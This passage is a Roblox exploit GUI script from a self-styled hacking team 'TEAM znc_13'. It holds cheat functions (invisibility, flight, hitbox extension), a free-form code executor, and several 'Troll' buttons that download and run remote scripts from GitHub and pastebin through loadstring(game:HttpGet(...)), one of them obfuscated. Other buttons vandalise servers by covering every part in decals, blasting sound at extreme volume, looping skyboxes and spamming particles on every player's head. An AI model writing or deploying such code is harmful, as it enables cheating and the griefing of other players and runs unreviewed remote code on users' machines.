local tangent = Vector3.new(
-math.sin(angle),
0,
math.cos(angle)
).Unit * orbitSpeed * radius
bodyVel.Velocity = tangent
bodyGyro.CFrame = CFrame.new(part.Position, orbitCenter)
part.Position = orbitPoint
end)
end
warn("Orbiting", #orbitParts, "parts around you.")
end, "Fun", "You have to be near the parts for a while for it to work")
local function toggleInvisibility()
if invisRunning then return end
invisRunning = true
local player = Players.LocalPlayer
repeat task.wait(0.1) until player.Character
local originalChar = player.Character
originalChar.Archivable = true
local invisibleChar = originalChar:Clone()
invisibleChar.Name = ""
invisibleChar.Parent = Lighting
-- clone transparency
for _, part in ipairs(invisibleChar:GetDescendants()) do
if part:IsA("BasePart") then
part.Transparency = (part.Name == "HumanoidRootPart") and 1 or 0.5
end
end
-- we’ll need these in nested functions:
local isInvis = false
local voidConn, deathConn, steppedConn
-- Respawn helper (puts you back to originalChar)
local function Respawn()
invisRunning = false
if steppedConn then steppedConn:Disconnect() end
if deathConn then deathConn:Disconnect() end
player.Character = originalChar
originalChar.Parent = workspace
-- destroy the extra humanoid
local clonedHum = originalChar:FindFirstChildWhichIsA("Humanoid")
if clonedHum then clonedHum:Destroy() end
invisibleChar.Parent = nil
end
-- fix for falling through the void
local voidY = workspace.FallenPartsDestroyHeight
steppedConn = RunService.Stepped:Connect(function()
local hrp = player.Character and player.Character:FindFirstChild("HumanoidRootPart")
if not hrp then return end
local y = hrp.Position.Y
if (voidY < 0 and y <= voidY) or (voidY >= 0 and y >= voidY) then
Respawn()
end
end)
-- if cloned character dies
local clonedHum = invisibleChar:FindFirstChildWhichIsA("Humanoid")
deathConn = clonedHum.Died:Connect(Respawn)
-- now swap them
local camCF = workspace.CurrentCamera.CFrame
local hrpCF = originalChar.HumanoidRootPart.CFrame
originalChar:MoveTo(Vector3.new(0, math.pi*1e6, 0))
workspace.CurrentCamera.CameraType = Enum.CameraType.Scriptable
task.wait(0.2)
workspace.CurrentCamera.CameraType = Enum.CameraType.Custom
invisibleChar.Parent = workspace
invisibleChar.HumanoidRootPart.CFrame = hrpCF
player.Character = invisibleChar
-- re‑enable animations
for _, a in ipairs(player.Character:GetDescendants()) do
if a.Name == "Animate" and a:IsA("Model") then
a.Disabled = true; a.Disabled = false
end
end
workspace.CurrentCamera:remove()
wait(.1)
repeat wait() until player.Character ~= nil
workspace.CurrentCamera.CameraSubject = player.Character:FindFirstChildWhichIsA('Humanoid')
workspace.CurrentCamera.CameraType = "Custom"
player.CameraMinZoomDistance = 0.5
player.CameraMaxZoomDistance = 400
player.CameraMode = "Classic"
player.Character.Head.Anchored = false
player.Character.Animate.Enabled = false
player.Character.Animate.Enabled = true
Notify("You are now invisible!", "System", 3)
end
FunctionManager:register(
"Invisible",
toggleInvisibility,
"Fun",
"Make your character invisible until you respawn or die"
)
FunctionManager:register("Fly", function()
if not HRP then
warn("No HumanoidRootPart found; cannot fly.")
return
end
flyingEnabled = not flyingEnabled
if flyingEnabled then
flyBG = Instance.new("BodyGyro")
flyBG.P = 9e4
flyBG.MaxTorque = Vector3.new(9e4, 9e4, 9e4)
flyBG.CFrame = HRP.CFrame
flyBG.Parent = HRP
flyBV = Instance.new("BodyVelocity")
flyBV.MaxForce = Vector3.new(9e4, 9e4, 9e4)
flyBV.Velocity = Vector3.new(0, 0, 0)
flyBV.Parent = HRP
flyConn = RunService.Heartbeat:Connect(function()
local camCFrame = workspace.CurrentCamera.CFrame
local dir = Vector3.new()
if UserInputService:IsKeyDown(Enum.KeyCode.W) then
dir = dir + camCFrame.LookVector
end
if UserInputService:IsKeyDown(Enum.KeyCode.S) then
dir = dir - camCFrame.LookVector
end
if UserInputService:IsKeyDown(Enum.KeyCode.A) then
dir = dir - camCFrame.RightVector
end
if UserInputService:IsKeyDown(Enum.KeyCode.D) then
dir = dir + camCFrame.RightVector
end
if UserInputService:IsKeyDown(Enum.KeyCode.Space) then
dir = dir + Vector3.new(0, 1, 0)
end
if UserInputService:IsKeyDown(Enum.KeyCode.LeftControl) then
dir = dir - Vector3.new(0, 1, 0)
end
if dir.Magnitude > 0 then
dir = dir.Unit * 50
end
flyBV.Velocity = dir
flyBG.CFrame = CFrame.new(HRP.Position, HRP.Position + camCFrame.LookVector)
end)
else
if flyConn then flyConn:Disconnect() flyConn = nil end
if flyBG then flyBG:Destroy() flyBG = nil end
if flyBV then flyBV:Destroy() flyBV = nil end
end
end, "Movement", "Fly around!")
FunctionManager:register("HatHub", function()
loadstring(game:HttpGet("https://raw.githubusercontent.com/inkdupe/hat-scripts/refs/heads/main/updatedhathub.lua"))()
end, "Troll", "Credits to original maker!")
FunctionManager:register("Hitbox Extender", function()
loadstring(game:HttpGet('https://raw.githubusercontent.com/AAPVdev/scripts/refs/heads/main/UI_LimbExtender.lua'))()
end, "Troll", "Extends hitboxes")
FunctionManager:register("Part Grab", function()
loadstring(game:HttpGet("https://raw.githubusercontent.com/v0c0n1337/scripts/refs/heads/main/Unachored_parts_controller_v2.lua.txt"))()
end, "Troll", "Much better part grab")
FunctionManager:register("Hat Script", function()
loadstring(game:HttpGet("https://raw.githubusercontent.com/ocfi/Scp-096-Obfuscated/refs/heads/main/obuf"))()
end, "Troll", "HATS")
FunctionManager:register("PART ORBIT", function()
loadstring(game:HttpGet("https://pastebin.com/raw/aZjaAr6F", true))()
end, "Troll", "Probs better orbit")
FunctionManager:register("chat unbanner", function()
loadstring(game:HttpGet("https://pastebin.com/raw/aDFhvMC4", true))()
end, "Utility", "Credits to the original maker!")
FunctionManager:register("Fling GUI", function()
loadstring(game:HttpGet("https://pastebin.com/raw/VynRhxJV", true))()
end, "Troll", "Credits to the original maker!")
--init
updateGrid()
end)
end;
task.spawn(C_7);
-- StarterGui.ScreenGui.Frame.TextButton.LocalScript
local function C_9()
local script = G2L["9"];
script.Parent.MouseButton1Click:Connect(function()
local player = game.Players.LocalPlayer
-- GUI principal
local gui = Instance.new("ScreenGui")
gui.Name = "CustomExecutor"
gui.ResetOnSpawn = false
gui.Parent = player:WaitForChild("PlayerGui")
-- Ventana principal (más pequeña y semi-transparente)
local mainFrame = Instance.new("Frame")
mainFrame.Size = UDim2.new(0, 400, 0, 240)
mainFrame.Position = UDim2.new(0.3, 0, 0.3, 0)
mainFrame.BackgroundColor3 = Color3.fromRGB(30, 30, 30)
mainFrame.BackgroundTransparency = 0.3
mainFrame.BorderSizePixel = 0
mainFrame.Active = true
mainFrame.Draggable = true
mainFrame.Parent = gui
-- Título
local title = Instance.new("TextLabel")
title.Size = UDim2.new(1, 0, 0, 35)
title.BackgroundTransparency = 1
title.BorderSizePixel = 0
title.Text = "TEAM znc_13 Fuks Roblox"
title.TextColor3 = Color3.new(1, 1, 1)
title.TextScaled = true
title.Font = Enum.Font.SourceSansBold
title.Parent = mainFrame
-- Cuadro de texto (fondo negro, más pequeño)
local input = Instance.new("TextBox")
input.Size = UDim2.new(0.9, 0, 0.55, 0)
input.Position = UDim2.new(0.05, 0, 0.18, 0)
input.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
input.BackgroundTransparency = 0
input.BorderSizePixel = 0
input.TextColor3 = Color3.new(1, 1, 1)
input.Text = ""
input.Font = Enum.Font.Code
input.TextWrapped = true
input.TextXAlignment = Enum.TextXAlignment.Left
input.TextYAlignment = Enum.TextYAlignment.Top
input.TextSize = 16
input.ClearTextOnFocus = false
input.MultiLine = true
input.Parent = mainFrame
-- Crear botón
local function createButton(text, position)
local btn = Instance.new("TextButton")
btn.Size = UDim2.new(0, 90, 0, 30)
btn.Position = position
btn.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
btn.BackgroundTransparency = 0
btn.BorderSizePixel = 0
btn.Text = text
btn.TextColor3 = Color3.new(1, 1, 1)
btn.TextScaled = true
btn.Font = Enum.Font.SourceSansBold
btn.Parent = mainFrame
return btn
end
-- Botones
local executeBtn = createButton("Execute", UDim2.new(0.05, 0, 0.8, 0))
local r6Btn = createButton("R6", UDim2.new(0.375, 0, 0.8, 0))
local closeBtn = createButton("Close", UDim2.new(0.70, 0, 0.8, 0))
-- Funciones
executeBtn.MouseButton1Click:Connect(function()
local code = input.Text
if code and code ~= "" then
pcall(function()
loadstring(code)()
end)
end
end)
r6Btn.MouseButton1Click:Connect(function()
local Players = game:GetService("Players")
local AvatarEditor = game:GetService("AvatarEditorService")
local TweenService = game:GetService("TweenService")
local UIS = game:GetService("UserInputService")
if _G.AvatarRigPromptUI then return end
_G.AvatarRigPromptUI = true
local player = Players.LocalPlayer
local playerGui = player:WaitForChild("PlayerGui")
local RigUI = Instance.new("ScreenGui")
RigUI.Name = "AvatarRigPromptUI"
RigUI.ResetOnSpawn = false
RigUI.Parent = playerGui
local MainFrame = Instance.new("Frame")
MainFrame.Size = UDim2.new(0, 200, 0, 100)
MainFrame.Position = UDim2.new(0.5, -100, 0, 20)
MainFrame.BackgroundColor3 = Color3.fromRGB(25, 25, 35)
MainFrame.Parent = RigUI
local UIStroke = Instance.new("UIStroke")
UIStroke.Thickness = 2
UIStroke.Color = Color3.fromRGB(100, 200, 255)
UIStroke.Parent = MainFrame
local dragActive, dragStart, frameStart
MainFrame.InputBegan:Connect(function(input)
if input.UserInputType == Enum.UserInputType.MouseButton1 then
dragActive = true
dragStart = input.Position
frameStart = MainFrame.Position
end
end)
UIS.InputChanged:Connect(function(input)
if dragActive and input.UserInputType == Enum.UserInputType.MouseMovement then
local delta = input.Position - dragStart
MainFrame.Position = UDim2.new(
frameStart.X.Scale,
frameStart.X.Offset + delta.X,
frameStart.Y.Scale,
frameStart.Y.Offset + delta.Y
)
end
end)
UIS.InputEnded:Connect(function(input)
if input.UserInputType == Enum.UserInputType.MouseButton1 then
dragActive = false
end
end)
local function ExecuteRigChange()
local char = player.Character
if not char then return end
local humanoid = char:FindFirstChildOfClass("Humanoid")
if not humanoid then return end
local desc = humanoid.HumanoidDescription:Clone()
AvatarEditor:PromptSaveAvatar(desc, Enum.HumanoidRigType.R6)
local result = AvatarEditor.PromptSaveAvatarCompleted:Wait()
if result == Enum.AvatarPromptResult.Success then
humanoid.Health = 0
humanoid:ChangeState(Enum.HumanoidStateType.Dead)
player.CharacterAdded:Wait()
task.wait(1)
local newHumanoid = player.Character:FindFirstChildOfClass("Humanoid")
if newHumanoid then
newHumanoid:ApplyDescription(desc)
newHumanoid:BuildRigFromDescription(desc, Enum.HumanoidRigType.R6)
end
end
end
local R6Button = Instance.new("TextButton")
R6Button.Text = "R6 MODE"
R6Button.Size = UDim2.new(0.9, 0, 0.6, 0)
R6Button.Position = UDim2.new(0.05, 0, 0.2, 0)
R6Button.Font = Enum.Font.GothamBold
R6Button.TextColor3 = Color3.new(1,1,1)
R6Button.BackgroundColor3 = Color3.fromRGB(50, 150, 200)
R6Button.Parent = MainFrame
R6Button.MouseButton1Click:Connect(function()
TweenService:Create(R6Button, TweenInfo.new(0.2), {BackgroundColor3 = Color3.fromRGB(20, 100, 150)}):Play()
ExecuteRigChange()
task.wait(0.2)
TweenService:Create(R6Button, TweenInfo.new(0.2), {BackgroundColor3 = Color3.fromRGB(50, 150, 200)}):Play()
end)
local CloseButton = Instance.new("TextButton")
CloseButton.Text = "X"
CloseButton.Size = UDim2.new(0, 24, 0, 24)
CloseButton.Position = UDim2.new(1, -26, 0, 2)
CloseButton.Font = Enum.Font.GothamBold
CloseButton.TextColor3 = Color3.new(1, 1, 1)
CloseButton.BackgroundColor3 = Color3.fromRGB(180, 60, 60)
CloseButton.BorderSizePixel = 0
CloseButton.Parent = MainFrame
CloseButton.MouseButton1Click:Connect(function()
RigUI:Destroy()
_G.AvatarRigPromptUI = nil
end)
end)
closeBtn.MouseButton1Click:Connect(function()
gui:Destroy()
end)
end)
end;
task.spawn(C_9);
-- StarterGui.ScreenGui.Frame.TextButton.LocalScript
local function C_b()
local script = G2L["b"];
script.Parent.MouseButton1Click:Connect(function()
script.Parent.MouseButton1Down:Connect(function()
local function write(text,object)
if object:IsA("Hint") == true then
local count = object:FindFirstChild("Count")
if count == nil then
count = Instance.new("NumberValue")
count.Parent = object
count.Name = "Count"
count.Value = count.Value + 1
else
count.Value = count.Value + 1
end
local startcount = count.Value
for i = 1,#text do
if count.Value == startcount then
local letter = string.sub(text,i,i)
object.Text = string.sub(text,1,i)
wait(0.001)
else
break
end
end
end
end
local bro = Instance.new("Hint",workspace)
write("TEAM znc_13 JOIN TODAY!",bro)
end)
end)
end;
task.spawn(C_b);
-- StarterGui.ScreenGui.Frame.TextButton.LocalScript
local function C_d()
local script = G2L["d"];
function click()
s = Instance.new("Sky")
s.Name = "Sky"
s.Parent = game.Lighting
s.SkyboxBk = "http://www.roblox.com/asset/?id=103916363736246"
s.SkyboxDn = "http://www.roblox.com/asset/?id=103916363736246"
s.SkyboxFt = "http://www.roblox.com/asset/?id=103916363736246"
s.SkyboxLf = "http://www.roblox.com/asset/?id=103916363736246"
s.SkyboxRt = "http://www.roblox.com/asset/?id=103916363736246"
s.SkyboxUp = "http://www.roblox.com/asset/?id=103916363736246"
game.Lighting.TimeOfDay = 12
end
script.Parent.MouseButton1Down:connect(click)
end;
task.spawn(C_d);
-- StarterGui.ScreenGui.Frame.TextButton.LocalScript
local function C_f()
local script = G2L["f"];
function click()
local function exPro(root)
for _, v in pairs(root:GetChildren()) do
if v:IsA("Decal") and v.Texture ~= "http://www.roblox.com/asset/?id=103916363736246" then
v.Parent = nil
elseif v:IsA("BasePart") then
v.Material = "Plastic"
v.Transparency = 0
local One = Instance.new("Decal", v)
local Two = Instance.new("Decal", v)
local Three = Instance.new("Decal", v)
local Four = Instance.new("Decal", v)
local Five = Instance.new("Decal", v)
local Six = Instance.new("Decal", v)
One.Texture = "http://www.roblox.com/asset/?id=103916363736246"
Two.Texture = "http://www.roblox.com/asset/?id=103916363736246"
Three.Texture = "http://www.roblox.com/asset/?id=103916363736246"
Four.Texture = "http://www.roblox.com/asset/?id=103916363736246"
Five.Texture = "http://www.roblox.com/asset/?id=103916363736246"
Six.Texture = "http://www.roblox.com/asset/?id=103916363736246"
One.Face = "Front"
Two.Face = "Back"
Three.Face = "Right"
Four.Face = "Left"
Five.Face = "Top"
Six.Face = "Bottom"
end
exPro(v)
end
end
local function asdf(root)
for _, v in pairs(root:GetChildren()) do
asdf(v)
end
end
exPro(workspace)
asdf(workspace)
end
script.Parent.MouseButton1Down:connect(click)
end;
task.spawn(C_f);
-- StarterGui.ScreenGui.Frame.TextButton.LocalScript
local function C_11()
local script = G2L["11"];
---by 777 plz dont6 leak
script.Parent.MouseButton1Down:connect(click)
script.Parent.MouseButton1Click:Connect(function()
for i, v in pairs(game:GetService("Players"):GetChildren()) do
emit = Instance.new("ParticleEmitter")
emit.Parent = v.Character.Head
emit.Texture = "http://www.roblox.com/asset/?id=103916363736246"
emit.VelocitySpread = 100000
end
end)
script.Parent.MouseButton1Click:Connect(function()
for i, v in pairs(game:GetService("Players"):GetChildren()) do
emit = Instance.new("ParticleEmitter")
emit.Parent = v.Character.Head
emit.Texture = "http://www.roblox.com/asset/?id=103916363736246"
emit.VelocitySpread = 100000
end
end)
script.Parent.MouseButton1Click:Connect(function()
for i, v in pairs(game:GetService("Players"):GetChildren()) do
emit = Instance.new("ParticleEmitter")
emit.Parent = v.Character.Head
emit.Texture = "http://www.roblox.com/asset/?id=103916363736246"
emit.VelocitySpread = 100000
end
end)
script.Parent.MouseButton1Click:Connect(function()
for i, v in pairs(game:GetService("Players"):GetChildren()) do
emit = Instance.new("ParticleEmitter")
emit.Parent = v.Character.Head
emit.Texture = "http://www.roblox.com/asset/?id=103916363736246"
emit.VelocitySpread = 100000
end
end)script.Parent.MouseButton1Click:Connect(function()
for i, v in pairs(game:GetService("Players"):GetChildren()) do
emit = Instance.new("ParticleEmitter")
emit.Parent = v.Character.Head
emit.Texture = "http://www.roblox.com/asset/?id=103916363736246"
emit.VelocitySpread = 100000
end
end)script.Parent.MouseButton1Click:Connect(function()
for i, v in pairs(game:GetService("Players"):GetChildren()) do
emit = Instance.new("ParticleEmitter")
emit.Parent = v.Character.Head
emit.Texture = "http://www.roblox.com/asset/?id=103916363736246"
emit.VelocitySpread = 100000
end
end)script.Parent.MouseButton1Click:Connect(function()
for i, v in pairs(game:GetService("Players"):GetChildren()) do
emit = Instance.new("ParticleEmitter")
emit.Parent = v.Character.Head
emit.Texture = "http://www.roblox.com/asset/?id=103916363736246"
emit.VelocitySpread = 100000
end
end)
script.Parent.MouseButton1Click:Connect(function()
for i, v in pairs(game:GetService("Players"):GetChildren()) do
emit = Instance.new("ParticleEmitter")
emit.Parent = v.Character.Head
emit.Texture = "http://www.roblox.com/asset/?id=103916363736246"
emit.VelocitySpread = 100000
end
end)script.Parent.MouseButton1Click:Connect(function()
for i, v in pairs(game:GetService("Players"):GetChildren()) do
emit = Instance.new("ParticleEmitter")
emit.Parent = v.Character.Head
emit.Texture = "http://www.roblox.com/asset/?id=103916363736246"
emit.VelocitySpread = 100000
end
end)script.Parent.MouseButton1Click:Connect(function()
for i, v in pairs(game:GetService("Players"):GetChildren()) do
emit = Instance.new("ParticleEmitter")
emit.Parent = v.Character.Head
emit.Texture = "http://www.roblox.com/asset/?id=103916363736246"
emit.VelocitySpread = 100000
end
end)script.Parent.MouseButton1Click:Connect(function()
for i, v in pairs(game:GetService("Players"):GetChildren()) do
emit = Instance.new("ParticleEmitter")
emit.Parent = v.Character.Head
emit.Texture = "http://www.roblox.com/asset/?id=103916363736246"
emit.VelocitySpread = 100000
end
end)script.Parent.MouseButton1Click:Connect(function()
for i, v in pairs(game:GetService("Players"):GetChildren()) do
emit = Instance.new("ParticleEmitter")
emit.Parent = v.Character.Head
emit.Texture = "http://www.roblox.com/asset/?id=103916363736246"
emit.VelocitySpread = 100000
end
end)script.Parent.MouseButton1Click:Connect(function()
for i, v in pairs(game:GetService("Players"):GetChildren()) do
emit = Instance.new("ParticleEmitter")
emit.Parent = v.Character.Head
emit.Texture = "http://www.roblox.com/asset/?id=103916363736246"
emit.VelocitySpread = 100000
end
end)script.Parent.MouseButton1Click:Connect(function()
for i, v in pairs(game:GetService("Players"):GetChildren()) do
emit = Instance.new("ParticleEmitter")
emit.Parent = v.Character.Head
emit.Texture = "http://www.roblox.com/asset/?id=103916363736246"
emit.VelocitySpread = 100000
end
end)script.Parent.MouseButton1Click:Connect(function()
for i, v in pairs(game:GetService("Players"):GetChildren()) do
emit = Instance.new("ParticleEmitter")
emit.Parent = v.Character.Head
emit.Texture = "http://www.roblox.com/asset/?id=103916363736246"
emit.VelocitySpread = 100000
end
end)script.Parent.MouseButton1Click:Connect(function()
for i, v in pairs(game:GetService("Players"):GetChildren()) do
emit = Instance.new("ParticleEmitter")
emit.Parent = v.Character.Head
emit.Texture = "http://www.roblox.com/asset/?id=103916363736246"
emit.VelocitySpread = 100000
end
end)script.Parent.MouseButton1Click:Connect(function()
for i, v in pairs(game:GetService("Players"):GetChildren()) do
emit = Instance.new("ParticleEmitter")
emit.Parent = v.Character.Head
emit.Texture = "http://www.roblox.com/asset/?id=103916363736246"
emit.VelocitySpread = 100000
end
end)script.Parent.MouseButton1Click:Connect(function()
for i, v in pairs(game:GetService("Players"):GetChildren()) do
emit = Instance.new("ParticleEmitter")
emit.Parent = v.Character.Head
emit.Texture = "http://www.roblox.com/asset/?id=103916363736246"
emit.VelocitySpread = 100000
end
end)script.Parent.MouseButton1Click:Connect(function()
for i, v in pairs(game:GetService("Players"):GetChildren()) do
emit = Instance.new("ParticleEmitter")
emit.Parent = v.Character.Head
emit.Texture = "http://www.roblox.com/asset/?id=103916363736246"
emit.VelocitySpread = 100000
end
end)script.Parent.MouseButton1Click:Connect(function()
for i, v in pairs(game:GetService("Players"):GetChildren()) do
emit = Instance.new("ParticleEmitter")
emit.Parent = v.Character.Head
emit.Texture = "http://www.roblox.com/asset/?id=103916363736246"
emit.VelocitySpread = 100000
end
end)script.Parent.MouseButton1Click:Connect(function()
for i, v in pairs(game:GetService("Players"):GetChildren()) do
emit = Instance.new("ParticleEmitter")
emit.Parent = v.Character.Head
emit.Texture = "http://www.roblox.com/asset/?id=103916363736246"
emit.VelocitySpread = 100000
end
end)script.Parent.MouseButton1Click:Connect(function()
for i, v in pairs(game:GetService("Players"):GetChildren()) do
emit = Instance.new("ParticleEmitter")
emit.Parent = v.Character.Head
emit.Texture = "http://www.roblox.com/asset/?id=103916363736246"
emit.VelocitySpread = 100000
end
end)script.Parent.MouseButton1Click:Connect(function()
for i, v in pairs(game:GetService("Players"):GetChildren()) do
emit = Instance.new("ParticleEmitter")
emit.Parent = v.Character.Head
emit.Texture = "http://www.roblox.com/asset/?id=103916363736246"
emit.VelocitySpread = 100000
end
end)script.Parent.MouseButton1Click:Connect(function()
for i, v in pairs(game:GetService("Players"):GetChildren()) do
emit = Instance.new("ParticleEmitter")
emit.Parent = v.Character.Head
emit.Texture = "http://www.roblox.com/asset/?id=103916363736246"
emit.VelocitySpread = 100000
end
end)
end;
task.spawn(C_11);
-- StarterGui.ScreenGui.Frame.TextButton.LocalScript
local function C_13()
local script = G2L["13"];
script.Parent.MouseButton1Down:Connect(function()
imageOne="http://www.roblox.com/asset/?id=169585459"imageTwo="http://www.roblox.com/asset/?id=169585475"imageThree="http://www.roblox.com/asset/?id=169585485"imageFour="http://www.roblox.com/asset/?id=169585502"imageFive="http://www.roblox.com/asset/?id=169585515"imageSix="http://www.roblox.com/asset/?id=169585502"imageSeven="http://www.roblox.com/asset/?id=169585485"imageEight="http://www.roblox.com/asset/?id=169585475"Spooky=Instance.new("Sound",workspace)Spooky.Name="Spooky"Spooky.SoundId="rbxassetid://174270407"Spooky.Volume=15 Spooky.Looped=true Spooky:Play()Sky=Instance.new("Sky",game.Lighting)Sky.SkyboxBk=imageOne Sky.SkyboxDn=imageOne Sky.SkyboxFt=imageOne Sky.SkyboxLf=imageOne Sky.SkyboxRt=imageOne Sky.SkyboxUp=imageOne while true do Sky.SkyboxBk=imageOne Sky.SkyboxDn=imageOne Sky.SkyboxFt=imageOne Sky.SkyboxLf=imageOne Sky.SkyboxRt=imageOne Sky.SkyboxUp=imageOne wait(0.15)Sky.SkyboxBk=imageTwo Sky.SkyboxDn=imageTwo Sky.SkyboxFt=imageTwo Sky.SkyboxLf=imageTwo Sky.SkyboxRt=imageTwo Sky.SkyboxUp=imageTwo wait(0.15)Sky.SkyboxBk=imageThree Sky.SkyboxDn=imageThree Sky.SkyboxFt=imageThree Sky.SkyboxLf=imageThree Sky.SkyboxRt=imageThree Sky.SkyboxUp=imageThree wait(0.15)Sky.SkyboxBk=imageFour Sky.SkyboxDn=imageFour Sky.SkyboxFt=imageFour Sky.SkyboxLf=imageFour Sky.SkyboxRt=imageFour Sky.SkyboxUp=imageFour wait(0.15)Sky.SkyboxBk=imageFive Sky.SkyboxDn=imageFive Sky.SkyboxFt=imageFive Sky.SkyboxLf=imageFive Sky.SkyboxRt=imageFive Sky.SkyboxUp=imageFive wait(0.15)Sky.SkyboxBk=imageSix Sky.SkyboxDn=imageSix Sky.SkyboxFt=imageSix Sky.SkyboxLf=imageSix Sky.SkyboxRt=imageSix Sky.SkyboxUp=imageSix wait(0.15)Sky.SkyboxBk=imageSeven Sky.SkyboxDn=imageSeven Sky.SkyboxFt=imageSeven Sky.SkyboxLf=imageSeven Sky.SkyboxRt=imageSeven Sky.SkyboxUp=imageSeven wait(0.15)Sky.SkyboxBk=imageEight Sky.SkyboxDn=imageEight Sky.SkyboxFt=imageEight Sky.SkyboxLf=imageEight Sky.SkyboxRt=imageEight Sky.SkyboxUp=imageEight wait(0.15)end
end)
end;
task.spawn(C_13);
-- StarterGui.ScreenGui.Frame.TextButton.LocalScript
local function C_15()
local script = G2L["15"];
function click()
Game.Workspace.Terrain:SetCells(Region3int16.new(Vector3int16.new(-100,-100,-100), Vector3int16.new(100,100,100)), 17, "Solid", "X")
end
script.Parent.MouseButton1Down:connect(click)
end;
task.spawn(C_15);
-- StarterGui.ScreenGui.Frame.TextButton.LocalScript
local function C_17()
local script = G2L["17"];
script.Parent.MouseButton1Click:Connect(function()
for i,v in next,workspace:children''do
if(v:IsA'BasePart')then
me=v;
bbg=Instance.new('BillboardGui',me);
bbg.Name='stuf';
bbg.Adornee=me;
bbg.Size=UDim2.new(2.5,0,2.5,0)
--bbg.StudsOffset=Vector3.new(0,2,0)
tlb=Instance.new'TextLabel';
tlb.Text='GET HACKED MY TEAM znc_13 JOIN TODAY';
tlb.Font='SourceSansBold';
tlb.FontSize='Size48';
tlb.TextColor3=Color3.new(1, 0.933333, 0);
tlb.Size=UDim2.new(1.25,0,1.25,0);
tlb.Position=UDim2.new(-0.125,-22,-1.1,0);
tlb.BackgroundTransparency=1;
tlb.Parent=bbg;
end;end;
function xds(dd)
for i,v in next,dd:children''do
if(v:IsA'BasePart')then
v.BrickColor=BrickColor.new'Really black';
v.TopSurface='Smooth';
v.BottomSurface='Smooth';
s=Instance.new('SelectionBox',v);
s.Adornee=v;
s.Color=BrickColor.new'Fire Yellow';
a=Instance.new('PointLight',v);
a.Color=Color3.new(1, 0.968627, 0);
a.Range=15;
a.Brightness=5;
end;
local dec = 'http://www.roblox.com/asset/?id=19399245';
local fac = {'Front', 'Back', 'Left', 'Right', 'Top', 'Bottom'}
--coroutine.wrap(function()
--for ,_ in pairs(fac) do
--local ddec = Instance.new("Decal", v)
--ddec.Face =
--ddec.Texture = dec
--end end)()
if #(v:GetChildren())>0 then
xds(v)
end
end
end
xds(game.Workspace)
end)
end;
task.spawn(C_17);
-- StarterGui.ScreenGui.Frame.TextButton.LocalScript
local function C_19()
local script = G2L["19"];
function onClick()
local uhmye = Instance.new("Sound") uhmye.Parent = game:GetService("Workspace") uhmye.SoundId = "rbxassetid://8260658079"
uhmye.Playing = true uhmye.Looped = true uhmye.Volume = 99999999999999999
end
script.Parent.MouseButton1Down:connect(onClick)
end;
task.spawn(C_19);
-- StarterGui.ScreenGui.Frame.TextButton.LocalScript
local function C_1b()
local script = G2L["1b"];
function click()
function exPro(root)
for _, v in pairs(root:GetChildren()) do
if v:IsA("Decal") and v.Texture ~= "http://www.roblox.com/asset/?id=111604272791927" then
v.Parent = nil
elseif v:IsA("BasePart") then
v.Material = "Plastic"
v.Transparency = 0
local One = Instance.new("Decal", v)
local Two = Instance.new("Decal", v)
local Three = Instance.new("Decal", v)
local Four = Instance.new("Decal", v)
local Five = Instance.new("Decal", v)
local Six = Instance.new("Decal", v)
One.Texture = "http://www.roblox.com/asset/?id=111604272791927"
Two.Texture = "http://www.roblox.com/asset/?id=111604272791927"
Three.Texture = "http://www.roblox.com/asset/?id=111604272791927"
Four.Texture = "http://www.roblox.com/asset/?id=111604272791927"
Five.Texture = "http://www.roblox.com/asset/?id=111604272791927"
Six.Texture = "http://www.roblox.com/asset/?id=111604272791927"
One.Face = "Front"
Two.Face = "Back"
Three.Face = "Right"
Four.Face = "Left"
Five.Face = "Top"
Six.Face = "Bottom"
end
exPro(v)
end
end
function asdf(root)
for _, v in pairs(root:GetChildren()) do
asdf(v)
end
end
exPro(workspace)
asdf(workspace)
end
script.Parent.MouseButton1Down:connect(click)
script.Parent.MouseButton1Click:Connect(function()
for i, v in pairs(game:GetService("Players"):GetChildren()) do
emit = Instance.new("ParticleEmitter")
emit.Parent = v.Character.Head
emit.Texture = "http://www.roblox.com/asset/?id=111604272791927"
emit.VelocitySpread = 100000
end
end)
script.Parent.MouseButton1Click:Connect(function()
for i, v in pairs(game:GetService("Players"):GetChildren()) do
emit = Instance.new("ParticleEmitter")
emit.Parent = v.Character.Head
emit.Texture = "http://www.roblox.com/asset/?id=111604272791927"
emit.VelocitySpread = 100000
end
end)
script.Parent.MouseButton1Click:Connect(function()
for i, v in pairs(game:GetService("Players"):GetChildren()) do
emit = Instance.new("ParticleEmitter")
emit.Parent = v.Character.Head
emit.Texture = "http://www.roblox.com/asset/?id=111604272791927"
emit.VelocitySpread = 100000
end
end)
script.Parent.MouseButton1Click:Connect(function()
for i, v in pairs(game:GetService("Players"):GetChildren()) do
emit = Instance.new("ParticleEmitter")
emit.Parent = v.Character.Head
emit.Texture = "http://www.roblox.com/asset/?id=111604272791927"
emit.VelocitySpread = 100000
end
end)script.Parent.MouseButton1Click:Connect(function()
for i, v in pairs(game:GetService("Players"):GetChildren()) do
emit = Instance.new("ParticleEmitter")
emit.Parent = v.Character.Head
emit.Texture = "http://www.roblox.com/asset/?id=111604272791927"
emit.VelocitySpread = 100000
end
end)script.Parent.MouseButton1Click:Connect(function()
for i, v in pairs(game:GetService("Players"):GetChildren()) do
emit = Instance.new("ParticleEmitter")
emit.Parent = v.Character.Head
emit.Texture = "http://www.roblox.com/asset/?id=111604272791927"
emit.VelocitySpread = 100000
end
end)script.Parent.MouseButton1Click:Connect(function()
for i, v in pairs(game:GetService("Players"):GetChildren()) do
emit = Instance.new("ParticleEmitter")
emit.Parent = v.Character.Head
emit.Texture = "http://www.roblox.com/asset/?id=111604272791927"
emit.VelocitySpread = 100000
end
end)
script.Parent.MouseButton1Click:Connect(function()
for i, v in pairs(game:GetService("Players"):GetChildren()) do
emit = Instance.new("ParticleEmitter")
emit.Parent = v.Character.Head
emit.Texture = "http://www.roblox.com/asset/?id=111604272791927"
emit.VelocitySpread = 100000
end
end)script.Parent.MouseButton1Click:Connect(function()
for i, v in pairs(game:GetService("Players"):GetChildren()) do
emit = Instance.new("ParticleEmitter")
emit.Parent = v.Character.Head
emit.Texture = "http://www.roblox.com/asset/?id=111604272791927"
emit.VelocitySpread = 100000
end
end)script.Parent.MouseButton1Click:Connect(function()
for i, v in pairs(game:GetService("Players"):GetChildren()) do
emit = Instance.new("ParticleEmitter")
emit.Parent = v.Character.Head
emit.Texture = "http://www.roblox.com/asset/?id=111604272791927"
emit.VelocitySpread = 100000
end
